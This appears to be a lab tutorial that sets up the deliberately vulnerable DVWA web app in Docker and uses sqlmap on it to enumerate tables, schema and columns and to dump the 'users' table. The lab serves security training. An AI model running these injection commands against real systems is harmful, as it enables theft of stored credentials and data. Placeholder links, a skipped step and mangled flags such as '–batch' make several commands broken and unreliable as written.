SQL Injection:
Step 1: Update the Package List
1. Open the terminal.
2. Run the following command to update the package list:
sudo apt update
Step 2: Install Docker
Install Docker by running the following command:
sudo apt install -y [Link]
Step 3: Enable Docker
Enable Docker to start on boot and start it immediately:
sudo systemctl enable docker –now
Step 4: Add User to Docker Group
1. Add your user to the Docker group to manage Docker as a non-root user:
sudo usermod -aG docker $USER
Step 5: Restart Virtual Machine
/sbin/reboot
Step 6: Activate Docker Group
1. Activate the changes to the Docker group without logging out:
newgrp docker
Step 7: Run DVWA Container
1. Run the DVWA container with the following command:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
2. Then open DVWA
Step 8: Launch SQLMap
1. Run SQLMap from your Linux applications.
Step 9: Perform Initial SQL Injection
Use SQLMap to test for SQL injection vulnerability:
sqlmap -u [Link]
id=1234&Submit=Submit#
Step 10: Extract Tables
1. Database selection
2. Extract the tables from the database using the following command:
sqlmap -u "[Link]
id=1234&Submit=Submit#" --
cookie="PHPSESSID=7946ndbzkif29cf18s1op0v2;security=low" --
tables
Step 11: Extract Schema
1. Extract the database schema with the following command
sqlmap -u "[Link]
id=1234&Submit=Submit#" --
cookie="PHPSESSID=7946ndbzkif29cf18s1op0v2;security=low" --
schema –batch
Step 13: Extract Column Information
Extract information about the columns in the "users" table:
sqlmap -u "[Link]
id=1234&Submit=Submit#" --
cookie="PHPSESSID=7946ndbzkif29cf18s1op0v2;security=low" --
columns -T users –batch
Step 14: Dump Table Data
1. Dump the data from the "users" table:
sqlmap -u "[Link]
id=1234&Submit=Submit#" --
cookie="PHPSESSID=7946ndbzkif29cf18s1op0v2;security=low" --
dump -T users –batch